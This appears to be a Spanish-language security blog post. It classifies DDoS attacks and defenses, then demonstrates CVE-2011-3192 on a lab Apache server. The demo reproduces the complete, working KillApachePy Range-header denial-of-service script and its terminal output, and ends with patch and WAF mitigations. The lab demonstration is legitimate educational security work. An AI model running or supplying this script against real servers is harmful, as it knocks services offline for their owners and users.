Taxonomía de ataques DDoS y mecanismos de defensa DDoS

Ataque de negación de servicio distribuido(DDoS por sus siglas en inglés, Distributed Denial of Service) se lleva a cabo generando un gran flujo de información desde varios puntos de conexión hacia un mismo punto de destino. En este Post se mostrarán 2 tipos de taxonomías para clasificarlos por ataques y contramedidas, esto para resaltar similitudes, características y estrategias con la intención de diseñar medidas al respecto.

Introducción El desarrollo y uso de las técnicas de ataques DDoS se incrementaron en el transcurso de tiempo al igual que los atacantes constantemente modifican el enfoque de los mismos, este estudio trata de cubrir tanto los ataques conocidos como posibles modificaciones, divididas o niveles.

Aspectos generales que hace posible los ataques DDOS? según como está diseñado Internet, sigue un paradigma end-to-end, por lo que, en una comunicación en 2 vías, no existe un tercero que pueda controlar la posibilidad de que se envíen paquetes maliciosos, para poder detenerlos inmediatamente. Además de la posibilidad de realizar IP Spoofing, lo cual dificulta aún más su control sin afectar clientes verdaderos del Host víctima.

cómo se realizan los ataques de DDOS? Para empezar, constan de distintas fases. Usualmente con la ayuda de escaneos automáticos se buscan dispositivos que puedan llegar a ser vulnerables, en palabras simples, empieza el reclutamiento del ejercito; Teniendo identificados estos, son explotados o infectados de igual manera automáticamente en lo general, para introducir el código malicioso que servirá posteriormente para con estos nuevos reclutas continuar con un mayor reclutamiento, yo lo llamaría como una estafa piramidal.

por que se realizan los ataques de DDOS? Usualmente son por motivos personales(venganza) o reputación (conseguir respeto y fama). Sin embargo, también son realizados por motivos económicos (dañar a un competidor) y políticos (como una guerra en la que se podría dejar a todo un país sin servicios de internet, un hecho que Rusia hace poco tomo en cuenta y trabaja en mejorar su independencia en servicios de internet y contramedidas ante esto).

Taxonomía de ataques DDOS DA: Degree of Automation (Grado de automatización) DA-1 Manual Las fases mencionadas anteriormente de escaneo y explotación son realizadas por el atacante de forma manual en su completitud.

DA-2 Semi-Automatic

...

DDoS-Attack-Mechanisms

Taxonomía de mecanismos de defensa DDOS

DoS-Defense-Mechanisms

Para más detalles sobre cada clasificación, aquí el artículo.


Demo Time | CVE-2011-3192 Para dar un ejemplo práctico de un ataque DDOS tome como caso de estudio el ataque denominado ApacheKiller, que permite a los atacantes realizar una denegación de servicio (consumo de memoria y CPU) a través del Header Range que expresa múltiples rangos superpuestos, y que este tiene asignado el CVE-2011-3192. Tiene como versiones afectadas en Apache HTTP Server 1.3.x, 2.0.x hasta 2.0.64 y 2.2.x hasta 2.2.19. En mi caso use Window$7 como Host Victima con Apache v2.2.15 y con un script hecho en python para realizar el ataque.

Paso 1 Instalar y correr una versión Apache vulnerable descrita previamente 1

Paso 2 Realice un pequeño test, para que puedan observar a detalle el Request, en el que además nos manda la versión de Apache que se utiliza, esto en un Test ya remunerado o Bug Bounty puede sernos de mucha utilidad claramente. 2

Paso 3 Con el script realizado en Python por Miroslav Stampar hacemos el testeo

  1#!/usr/bin/env python
  2
  3import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse
  4
  5NAME        = "KillApachePy (Range Header DoS CVE-2011-3192)"
  6VERSION     = "0.1c"
  7AUTHOR      = "Miroslav Stampar (@stamparm)"
  8LICENSE     = "Public domain (FREE)"
  9SHORT       = "You'll typically have to wait for 10-20 iterations before first connection timeouts. More complex/bigger the page the better"
 10REFERENCE   = "http://seclists.org/fulldisclosure/2011/Aug/175"
 11
 12SLEEP_TIME      = 3     # time to wait for new thread slots (after max number reached)
 13RANGE_NUMBER    = 1024  # number of range subitems forming the DoS payload
 14USER_AGENT      = "KillApachePy (%s)" % VERSION
 15
 16def attack(url, user_agent=None, method='GET', proxy=None):
 17    if '://' not in url:
 18        url = "http://%s" % url
 19
 20    host = urlparse.urlparse(url).netloc
 21
 22    user_agent = user_agent or USER_AGENT
 23
 24    if proxy and not re.match('\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z', proxy, re.I):
 25        print "(x) Invalid proxy address used"
 26        exit(-1)
 27
 28    proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {})
 29    opener = urllib2.build_opener(proxy_support)
 30    urllib2.install_opener(opener)
 31
 32    class _MethodRequest(urllib2.Request):
 33        '''
 34        Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2
 35        '''
 36        def set_method(self, method):
 37            self.method = method.upper()
 38
 39        def get_method(self):
 40            return getattr(self, 'method', urllib2.Request.get_method(self))
 41
 42    def _send(check=False):
 43        '''
 44        Send the vulnerable request to the target
 45        '''
 46        if check:
 47            print "(i) Checking target for vulnerability..."
 48        payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER))
 49        try:
 50            headers = { 'Host': host, 'User-Agent': USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' }
 51            req = _MethodRequest(url, None, headers)
 52            req.set_method(method)
 53            response = urllib2.urlopen(req)
 54            if check:
 55                return response and ('byteranges' in repr(response.headers.headers) or response.code == 206)
 56        except urllib2.URLError, msg:
 57            if 'timed out' in str(msg):
 58                print "\r(i) Server seems to be choked ('%s')" % msg
 59            else:
 60                print "(x) Connection error ('%s')" % msg
 61                if check or 'Forbidden' in str(msg):
 62                    os._exit(-1)
 63        except Exception, msg:
 64            raise
 65
 66    try:
 67        if not _send(check=True):
 68            print "(x) Target does not seem to be vulnerable"
 69        else:
 70            print "(o) Target seems to be vulnerable\n"
 71            quit = False
 72            while not quit:
 73                threads = []
 74                print "(i) Creating new threads..."
 75                try:
 76                    while True:
 77                        thread = threading.Thread(target=_send)
 78                        thread.start()
 79                        threads.append(thread)
 80                except KeyboardInterrupt:
 81                    quit = True
 82                    raise
 83                except Exception, msg:
 84                    if 'new thread' in str(msg):
 85                        print "(i) Maximum number of new threads created (%d)" % len(threads)
 86                    else:
 87                        print "(x) Exception occured ('%s')" % msg
 88                finally:
 89                    if not quit:
 90                        print "(o) Waiting for %d seconds to acquire new threads" % SLEEP_TIME
 91                        time.sleep(SLEEP_TIME)
 92                        print
 93    except KeyboardInterrupt:
 94        print "\r(x) Ctrl-C was pressed"
 95        os._exit(1)
 96
 97def main():
 98    print "%s #v%s\n by: %s\n\n(Note(s): %s)\n" % (NAME, VERSION, AUTHOR, SHORT)
 99    parser = optparse.OptionParser(version=VERSION)
100    parser.add_option("-u", dest="url", help="Target url (e.g. \"http://www.target.com/index.php\")")
101    parser.add_option("--agent", dest="agent", help="User agent (e.g. \"Mozilla/5.0 (Linux)\")")
102    parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)")
103    parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. \"http://127.0.0.1:8118\")")
104    options, _ = parser.parse_args()
105    if options.url:
106        result = attack(options.url, options.agent, options.method, options.proxy)
107    else:
108        parser.print_help()
109
110if __name__ == "__main__":
111    main()

Y configurandolo con el proxy de Burp Suite quedaría algo así en terminal:

 1root@lab:~# python Apachekiller.py -u 192.168.100.58 --proxy="http://127.0.0.1:8080"
 2KillApachePy (Range Header DoS CVE-2011-3192) #v0.1c
 3by: Miroslav Stampar (@stamparm)
 4
 5(Note(s) You'll typically have to wait for 10-20 iterations before first
 6connection timeouts. More complex/bigger the page the better)
 7
 8(i) Checking target for vulnerability...
 9(o) Target seems to be vulnerable
10(1) Creating new threads

una vez ejecutado esto regresemos a ver nuestro servidor: 4 Como pueden ver, el Uso de CPU esta hasta el tope, por lo cual podemos evidenciar la vulnerabilidad a la que es susceptible estas versiones de Apache sin embargo analicemos las peticiones que se enviaron. 5 cómo ven, se envía peticiones con Range superpuestos por lo cual nuestro servidor debe procesar todo esto en mayor tiempo (consumiendo así recursos), lo cual a gran escala resulta fatal. 6 Como tal este sería un ataque DOS, que sin embargo logro un 100% de Uso de CPU, ahora con un ataque simultaneo con más maquinas (DDOS), podría resultarnos en una pantalla azul, dejando abajo el servidor.

Este sería un ejemplo en nuestra Taxonomía de un EW-1(Exploited Weakness to Deny Services:Semantic) dado que el ataque aprovecha un bug que resultó en estas versiones de Apache.

Una solución a este problema sería una actualización del servidor y/o parches si los tuviera, también un WAF como modSecurity. Por esto la taxonomía a nuestro mecanismo de defensa contra el DDOS seria AL-1:PG-1:ST-1(Activity Level:Preventive - Prevention Goal:Attack Prevention - Secured Target: System Security).

Eso sería, si tuvieran dudas no duden en escribir. -Hackers are People Too 😜